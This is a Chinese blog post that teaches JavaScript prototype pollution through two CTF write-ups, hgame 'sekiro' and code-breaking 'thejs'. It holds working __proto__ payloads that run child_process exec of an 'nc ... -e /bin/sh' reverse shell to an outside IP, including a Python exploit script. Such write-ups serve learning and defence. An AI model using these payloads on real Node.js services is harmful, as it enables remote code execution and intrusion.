美文网首页
从杭电hgame-week4学原型链污染

从杭电hgame-week4学原型链污染

作者: byc_404 | 来源:发表于2020-02-18 18:12 被阅读0次

    因为数模导致本来不打算做week4的题目的,不过当时瞅了一眼sekiro这道题并且看出来是原型链污染(也有叫Node.js污染,javasrcipt原型链污染的)。可惜当时没做过,没深入也没做出来。今天抽空看了下wp才明白。干脆把当时查阅资料学到的知识总结下。

    时间线上看,国内最早出现的原型链污染题目应该是出自P牛代码审计知识星球的hard-the js。整体上算比较新的洞。在各种比赛出现频次一般,原因有很多,这点之后再谈。其主要是前端形式的攻击,而且涉及到javascript知识更多些,因此还是要从javascript的角度学习下:

    原型链

    经常有这样一种说法:javascript中万物皆对象。这个说法严格来讲不准确,但是却体现了js语法及使用上的特性。javaScript中的对象其实就是一些键值对的集合,每一个键值对叫做一个属性,比如:

    属性
    此时对象obj就有了namewebsite两个属性。但其实其输出内容并不只有这两个,完整输出的如下:
    __proto__
    可以看到,输出属性中出现了proto以及constructor这样的字眼,那他们到底是什么呢?这要提到js继承的概念,继承的整个过程就称为该类的原型链。
    从刚刚的例子可以看到,从obj的__proto__中能明白其父类是Object.(Constructor返回用于创建这个对象的函数),同时还有许多其他函数。

    __proto__是只针对对象而言的。而对于类,有一个与之相对应的属性,叫做prototype。且二者等价。比如下面这个p牛的经典例子:

    __proto__与protype

    从类的角度讲,prototype是其一个属性,所有类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。但是类所实例化的对象并不能通过prototype访问原型,所以才有__proto__
    出现,且一个对象的proto属性,指向这个对象所在的类的prototype属性。

    原型链污染

    而原型链的特性决定了其在js继承中的重要之处。而其特性表现在,在我们调用一个对象的某一属性时:

    1.对象(obj)中寻找这一属性
    2.如果找不到,则在obj.__proto__中寻找属性
    3.如果仍然找不到,则继续在obj.__proto__.__proto__中寻找这一属性
    

    以上机制被称为js的prototype继承链。而原型链污染就与这有关

    比如以下代码:

    let foo = {bar: 1}
    console.log(foo.bar)
    foo.__proto__.bar = 2
    console.log(foo.bar)
    let zoo = {}
    console.log(zoo.bar)
    

    结果为

    污染
    可以发现,在我们通过__proto__修改bar值后,再度实例化一个新的对象时,其bar值从1变为了2。原因如下:前面修改foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2.
    那么后面我们zoo相当于是实例化了一个Object类,自然有属性bar=2.

    所以原型链污染定义如下:

    如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

    使用场景

    原型链污染的使用场景我也不熟,但是目前根据题目出现的情况,主要与这两个函数有关

    merge()
    clone()
    

    常用源码如下,可以看出clone与merge并无本质区别:

    const merge = (a, b) => {
      for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
          merge(a[attr], b[attr]);
        } else {
          a[attr] = b[attr];
        }
      }
      return a
    }
    const clone = (a) => {
      return merge({}, a);
    }
    

    本质上这两个函数会有风险,就是因为存在能够控制数组(对象)的“键名”的操作。
    但是要想实现原型链污染,光只要键名可控是不够的。以下面这个例子为参考:

    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    }
    

    尝试把第二个键名设为__proto__并赋值b为2。看看能不能把object的属性b改为2。

    污染失败
    可以看见最后o3.b返回的是undefined,并没有污染成功。
    主要原因就是因为__proto__没有被认为是一个键名。而这就需要我上面提到的另一个条件,代码如下时:
    let o1 = {}
    let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
    merge(o1, o2)
    console.log(o1.a, o1.b)
    
    o3 = {}
    console.log(o3.b)
    

    如果存在JSON.parse(),就能成功把__proto__解析成键名了。

    污染成功

    有了这些基础,就基本能了解原型链污染的原理了。

    真题

    hgame sekiro

    回头来看hgame中sekiro这道题,题目给出的关键源码主要在一下两个js文件中
    route/index.js

    var express = require('express');
    var router = express.Router();
    var game = require('../utils/index');
    
    const isObject = obj => obj && obj.constructor && obj.constructor === Object;
    const merge = (a, b) => {
      for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
          merge(a[attr], b[attr]);
        } else {
          a[attr] = b[attr];
        }
      }
      return a
    }
    const clone = (a) => {
      return merge({}, a);
    }
    var Game = new game();
    
    router.get('/', function (req, res) {
      res.render('index');
    });
    
    router.post('/action', function (req, res) {
      if (!req.session.sekiro) {
        res.end("Session required.")
      }
      if (!req.session.sekiro.alive) {
        res.end("You dead.")
      }
      var body = JSON.parse(JSON.stringify(req.body));
      var copybody = clone(body)
      if (copybody.solution) {
        req.session.sekiro = Game.dealWithAttacks(req.session.sekiro, copybody.solution)
      }
      res.end("提交成功")
    })
    
    router.get('/attack', function (req, res) {
      if (!req.session.sekiro) {
        res.end("Session required.")
      }
      if (!req.session.sekiro.alive) {
        res.end("You dead.")
      }
      req.session.sekiro.attackInfo = Game.getAttackInfo()
      res.end(req.session.sekiro.attackInfo.method)
    })
    
    router.get('/info', function (req, res) {
      if (typeof(req.query.restart) != "undefined" || !req.session.sekiro) {
        req.session.sekiro = { "health": 3000, posture: 0, alive: true }
      }
      res.json(req.session.sekiro);
    })
    
    module.exports = router;
    

    以及util/index.js

    function game() {
        this.attacks = [
            {
                "method": "连续砍击",
                "attack": 1000,
                "additionalEffect": "sekiro.posture+=100",
                "solution": "连续格挡"
            },
            {
                "method": "普通攻击",
                "attack": 500,
                "additionalEffect": "sekiro.posture+=50",
                "solution": "格挡"
            },
            {
                "method": "下段攻击",
                "attack": 1000,
                "solution": "跳跃踩头"
            },
            {
                "method": "突刺攻击",
                "attack": 1000,
                "solution": "识破"
            },
            {
                "method": "巴之雷",
                "attack": 1000,
                "solution": "雷反"
            },
        ]
        this.getAttackInfo = function () {
            return this.attacks[Math.floor(Math.random() * this.attacks.length)]
        }
        this.dealWithAttacks = function (sekiro, solution) {
            if (sekiro.attackInfo.solution !== solution) {
                sekiro.health -= sekiro.attackInfo.attack
                if (sekiro.attackInfo.additionalEffect) {
                    var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
                    sekiro = fn(sekiro)
                }
            }
            sekiro.posture = (sekiro.posture <= 500) ? sekiro.posture : 500
            sekiro.health = (sekiro.health > 0) ? sekiro.health : 0
            if (sekiro.posture == 500 || sekiro.health == 0) {
                sekiro.alive = false
            }
            return sekiro
        }
    }
    module.exports = game;
    
    

    很容易发现index.js中,在/action这个路由里,有merge(),clone()函数的出现。于是我们跟进下,发现要到dealWithAttacks()这个函数去,于是再审计下关键代码:

    if (sekiro.attackInfo.additionalEffect) {
        var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
        sekiro = fn(sekiro)
    }
    

    这里的attackInfo.additionalEffect如果能被我们污染,明显是可以直接RCE的。那么我们要做的就是污染Object类,当题目执行attackInfo.additionalEffect找不到additionalEffect时,就会继续找到基类被污染的这一属性,从而执行我们的代码。

    所以paylaod如下

    {"solution":"1","__proto__": {"additionalEffect":"global.process.mainModule.constructor._load('child_process'). exec('nc vps-ip 8877 -e /bin/sh',function(){});"}}
    
    import requests
    import json
    
    url='http://sekiro.hgame.babelfish.ink/action'
    cookie={
        'session':'s%3ACDDqh7q_XQ-rRAIB7W93PfE75p9oD7gS.UQuPEE0eikMrkIoAUaWJ3TFIibdRs72odZliCVcyzrk'
    }
    headers={
        'Content-Type':'application/json'
    }
    payload={"solution":"1","__proto__": {"additionalEffect":"global.process.mainModule.constructor._load('child_process'). exec('nc 120.27.246.202 8888 -e /bin/sh',function(){});"}}
    
    res=requests.post(url,cookies=cookie,headers=headers,data=json.dumps(payload))
    print(res.text)
    

    使用bash弹shell貌似没成,可能是nodejs的问题吧


    flag

    code-breaking thejs

    开头提到了p牛知识星球的这道题,那么现在再来看看:

    const fs = require('fs')
    const express = require('express')
    const bodyParser = require('body-parser')
    const lodash = require('lodash')
    const session = require('express-session')
    const randomize = require('randomatic')
    
    const app = express()
    app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
    app.use('/static', express.static('static'))
    app.use(session({
        name: 'thejs.session',
        secret: randomize('aA0', 16),
        resave: false,
        saveUninitialized: false
    }))
    app.engine('ejs', function (filePath, options, callback) { // define the template engine
        fs.readFile(filePath, (err, content) => {
            if (err) return callback(new Error(err))
            let compiled = lodash.template(content)
            let rendered = compiled({...options})
    
            return callback(null, rendered)
        })
    })
    app.set('views', './views')
    app.set('view engine', 'ejs')
    
    app.all('/', (req, res) => {
        let data = req.session.data || {language: [], category: []}
        if (req.method == 'POST') {
            data = lodash.merge(data, req.body)
            req.session.data = data
        }
        
        res.render('index', {
            language: data.language, 
            category: data.category
        })
    })
    
    app.listen(3000, () => console.log(`Example app listening on port 3000!`))
    

    漏洞点非常清晰,就是一个POST处用到了merge,显然存在原型链污染漏洞。那么关键函数需要去看看,所以需要参考lodash的代码(lodash是一个辅助功能集,这里主要用到的还是lodash.mergelodash.template)如果去审计源码,会发现这样一个属性https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165及对应源码,和后面的调用。

    var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
    // ...
    var result = attempt(function() {
      return Function(importsKeys, sourceURL + 'return ' + source)
      .apply(undefined, importsValues);
    });
    

    开始sourceURL是空值,但是后面它作为new Function的第二个参数中,造成任意代码执行漏洞。
    所以payload如下:

    {"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('nc 120.27.246.202 8888 -e /bin/sh',function(){});"}}
    
    payload

    需要注意的是,此处的/u000a必不可少,这时json中的换行。并且一定要把Content-Type必须设置成application/json。否则__proto__会被处理成字符串。
    这里同样使用跟hgame那道题一样的弹shell手段。可以拿到shell
    同时因为不知道文件名,使用cat /fl*来模糊处理。

    flag
    值得一提的是,p牛对此题的payload额外带了一个for循环
    for (var a in{}) {delete Object.prototype[a]}
    

    删掉污染的原型。这时因为原型污染这一漏洞除非整个程序重启,否则所有的对象都会被污染与影响。这样在awd等等比赛中一旦你拿到flag,就有可能被别人直接访问到。

    总结下:
    1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()只是确定漏洞的开始。
    2.进行审计需要以找到可污染的属性为主要目的。寻找方法是:找到一个重要的但是开始并没有定义或者存在值为undefined的属性,它在之后被直接调用时将执行污染属性。通常属性会被插入到一段代码中,或者直接作为某功能调用。exec, return ,fn等等都是值得注意的关键字。
    3.题目基本是以RCE(弹shell)为最终目的,但是有的题目可能靶机原因不支持,所以要灵活变化把flag读出来。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。

    参考文章:

    https://www.anquanke.com/post/id/176884#h3-5
    https://xz.aliyun.com/t/2802
    https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
    https://zhuanlan.zhihu.com/p/52042249

    相关文章

      网友评论

          本文标题:从杭电hgame-week4学原型链污染

          本文链接:https://www.haomeiwen.com/subject/rywgfhtx.html